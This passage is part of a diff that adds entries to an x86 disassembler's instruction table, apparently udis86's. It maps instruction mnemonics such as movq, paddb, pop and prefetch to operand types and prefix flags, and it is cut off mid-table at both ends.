O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0907 */ { UD_Imovntps, O_M, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0908 */ { UD_Ivmovntps, O_M, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0909 */ { UD_Imovntq, O_M, O_P, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0910 */ { UD_Imovq, O_P, O_Eq, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0911 */ { UD_Imovq, O_V, O_Eq, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0912 */ { UD_Ivmovq, O_Vx, O_Eq, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0913 */ { UD_Imovq, O_Eq, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0914 */ { UD_Imovq, O_Eq, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0915 */ { UD_Ivmovq, O_Eq, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0916 */ { UD_Imovq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0917 */ { UD_Ivmovq, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0918 */ { UD_Imovq, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0919 */ { UD_Ivmovq, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0920 */ { UD_Imovq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0921 */ { UD_Imovq, O_Q, O_P, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0922 */ { UD_Imovsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0923 */ { UD_Imovsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0924 */ { UD_Imovsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0925 */ { UD_Imovsd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0926 */ { UD_Imovsd, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0927 */ { UD_Imovsq, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 0928 */ { UD_Imovss, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0929 */ { UD_Imovss, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0930 */ { UD_Imovsx, O_Gv, O_Eb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0931 */ { UD_Imovsx, O_Gy, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0932 */ { UD_Imovupd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0933 */ { UD_Ivmovupd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0934 */ { UD_Imovupd, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0935 */ { UD_Ivmovupd, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0936 */ { UD_Imovups, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0937 */ { UD_Ivmovups, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0938 */ { UD_Imovups, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0939 */ { UD_Ivmovups, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0940 */ { UD_Imovzx, O_Gv, O_Eb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0941 */ { UD_Imovzx, O_Gy, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0942 */ { UD_Imul, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0943 */ { UD_Imul, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0944 */ { UD_Imulpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0945 */ { UD_Ivmulpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0946 */ { UD_Imulps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0947 */ { UD_Ivmulps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0948 */ { UD_Imulsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0949 */ { UD_Ivmulsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0950 */ { UD_Imulss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0951 */ { UD_Ivmulss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0952 */ { UD_Imwait, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0953 */ { UD_Ineg, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0954 */ { UD_Ineg, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0955 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0956 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0957 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0958 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0959 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0960 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0961 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0962 */ { UD_Inot, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0963 */ { UD_Inot, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0964 */ { UD_Ior, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0965 */ { UD_Ior, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0966 */ { UD_Ior, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0967 */ { UD_Ior, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0968 */ { UD_Ior, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0969 */ { UD_Ior, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0970 */ { UD_Ior, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0971 */ { UD_Ior, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0972 */ { UD_Ior, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0973 */ { UD_Ior, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0974 */ { UD_Iorpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0975 */ { UD_Ivorpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0976 */ { UD_Iorps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0977 */ { UD_Ivorps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0978 */ { UD_Iout, O_Ib, O_AL, O_NONE, O_NONE, P_none }, + /* 0979 */ { UD_Iout, O_Ib, O_eAX, O_NONE, O_NONE, P_oso }, + /* 0980 */ { UD_Iout, O_DX, O_AL, O_NONE, O_NONE, P_none }, + /* 0981 */ { UD_Iout, O_DX, O_eAX, O_NONE, O_NONE, P_oso }, + /* 0982 */ { UD_Ioutsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0983 */ { UD_Ioutsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0984 */ { UD_Ioutsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0985 */ { UD_Ipacksswb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0986 */ { UD_Ivpacksswb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0987 */ { UD_Ipacksswb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0988 */ { UD_Ipackssdw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0989 */ { UD_Ivpackssdw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0990 */ { UD_Ipackssdw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0991 */ { UD_Ipackuswb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0992 */ { UD_Ivpackuswb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0993 */ { UD_Ipackuswb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0994 */ { UD_Ipaddb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0995 */ { UD_Ivpaddb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0996 */ { UD_Ipaddb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0997 */ { UD_Ipaddw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0998 */ { UD_Ipaddw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0999 */ { UD_Ivpaddw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1000 */ { UD_Ipaddd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1001 */ { UD_Ipaddd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1002 */ { UD_Ivpaddd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1003 */ { UD_Ipaddsb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1004 */ { UD_Ipaddsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1005 */ { UD_Ivpaddsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1006 */ { UD_Ipaddsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1007 */ { UD_Ipaddsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1008 */ { UD_Ivpaddsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1009 */ { UD_Ipaddusb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1010 */ { UD_Ipaddusb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1011 */ { UD_Ivpaddusb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1012 */ { UD_Ipaddusw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1013 */ { UD_Ipaddusw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1014 */ { UD_Ivpaddusw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1015 */ { UD_Ipand, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1016 */ { UD_Ivpand, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1017 */ { UD_Ipand, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1018 */ { UD_Ipandn, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1019 */ { UD_Ivpandn, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1020 */ { UD_Ipandn, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1021 */ { UD_Ipavgb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1022 */ { UD_Ivpavgb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1023 */ { UD_Ipavgb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1024 */ { UD_Ipavgw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1025 */ { UD_Ivpavgw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1026 */ { UD_Ipavgw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1027 */ { UD_Ipcmpeqb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1028 */ { UD_Ipcmpeqb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1029 */ { UD_Ivpcmpeqb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1030 */ { UD_Ipcmpeqw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1031 */ { UD_Ipcmpeqw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1032 */ { UD_Ivpcmpeqw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1033 */ { UD_Ipcmpeqd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1034 */ { UD_Ipcmpeqd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1035 */ { UD_Ivpcmpeqd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1036 */ { UD_Ipcmpgtb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1037 */ { UD_Ivpcmpgtb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1038 */ { UD_Ipcmpgtb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1039 */ { UD_Ipcmpgtw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1040 */ { UD_Ivpcmpgtw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1041 */ { UD_Ipcmpgtw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1042 */ { UD_Ipcmpgtd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1043 */ { UD_Ivpcmpgtd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1044 */ { UD_Ipcmpgtd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1045 */ { UD_Ipextrb, O_MbRv, O_V, O_Ib, O_NONE, P_aso|P_rexx|P_rexr|P_rexb|P_def64 }, + /* 1046 */ { UD_Ivpextrb, O_MbRv, O_Vx, O_Ib, O_NONE, P_aso|P_rexx|P_rexr|P_rexb|P_def64 }, + /* 1047 */ { UD_Ipextrd, O_Ed, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1048 */ { UD_Ivpextrd, O_Ed, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1049 */ { UD_Ipextrd, O_Ed, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1050 */ { UD_Ivpextrd, O_Ed, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1051 */ { UD_Ipextrq, O_Eq, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexb|P_def64 }, + /* 1052 */ { UD_Ivpextrq, O_Eq, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexb|P_def64 }, + /* 1053 */ { UD_Ipextrw, O_Gd, O_U, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexb }, + /* 1054 */ { UD_Ivpextrw, O_Gd, O_Ux, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexb }, + /* 1055 */ { UD_Ipextrw, O_Gd, O_N, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1056 */ { UD_Ipextrw, O_MwRd, O_V, O_Ib, O_NONE, P_aso|P_rexw|P_rexx|P_rexr|P_rexb }, + /* 1057 */ { UD_Ivpextrw, O_MwRd, O_Vx, O_Ib, O_NONE, P_aso|P_rexw|P_rexx|P_rexr|P_rexb }, + /* 1058 */ { UD_Ipinsrb, O_V, O_MbRd, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1059 */ { UD_Ipinsrw, O_P, O_MwRy, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1060 */ { UD_Ipinsrw, O_V, O_MwRy, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1061 */ { UD_Ivpinsrw, O_Vx, O_MwRy, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1062 */ { UD_Ipinsrd, O_V, O_Ed, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1063 */ { UD_Ipinsrd, O_V, O_Ed, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1064 */ { UD_Ipinsrq, O_V, O_Eq, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1065 */ { UD_Ivpinsrb, O_V, O_H, O_MbRd, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1066 */ { UD_Ivpinsrd, O_V, O_H, O_Ed, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1067 */ { UD_Ivpinsrd, O_V, O_H, O_Ed, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1068 */ { UD_Ivpinsrq, O_V, O_H, O_Eq, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1069 */ { UD_Ipmaddwd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1070 */ { UD_Ipmaddwd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1071 */ { UD_Ivpmaddwd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1072 */ { UD_Ipmaxsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1073 */ { UD_Ivpmaxsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1074 */ { UD_Ipmaxsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1075 */ { UD_Ipmaxub, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1076 */ { UD_Ipmaxub, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1077 */ { UD_Ivpmaxub, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1078 */ { UD_Ipminsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1079 */ { UD_Ivpminsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1080 */ { UD_Ipminsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1081 */ { UD_Ipminub, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1082 */ { UD_Ivpminub, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1083 */ { UD_Ipminub, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1084 */ { UD_Ipmovmskb, O_Gd, O_U, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexb }, + /* 1085 */ { UD_Ivpmovmskb, O_Gd, O_Ux, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexb }, + /* 1086 */ { UD_Ipmovmskb, O_Gd, O_N, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexb }, + /* 1087 */ { UD_Ipmulhuw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1088 */ { UD_Ipmulhuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1089 */ { UD_Ivpmulhuw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1090 */ { UD_Ipmulhw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1091 */ { UD_Ivpmulhw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1092 */ { UD_Ipmulhw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1093 */ { UD_Ipmullw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1094 */ { UD_Ipmullw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1095 */ { UD_Ivpmullw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1096 */ { UD_Ipop, O_ES, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1097 */ { UD_Ipop, O_SS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1098 */ { UD_Ipop, O_DS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1099 */ { UD_Ipop, O_GS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1100 */ { UD_Ipop, O_FS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1101 */ { UD_Ipop, O_R0v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1102 */ { UD_Ipop, O_R1v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1103 */ { UD_Ipop, O_R2v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1104 */ { UD_Ipop, O_R3v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1105 */ { UD_Ipop, O_R4v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1106 */ { UD_Ipop, O_R5v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1107 */ { UD_Ipop, O_R6v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1108 */ { UD_Ipop, O_R7v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1109 */ { UD_Ipop, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1110 */ { UD_Ipopa, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1111 */ { UD_Ipopad, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1112 */ { UD_Ipopfw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1113 */ { UD_Ipopfd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1114 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1115 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1116 */ { UD_Ipor, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1117 */ { UD_Ivpor, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1118 */ { UD_Ipor, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1119 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1120 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1121 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1122 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1123 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1124 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1125 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1126 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1127 */ { UD_Iprefetchnta, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1128 */ { UD_Iprefetcht0, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1129 */ { UD_Iprefetcht1, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1130 */ { 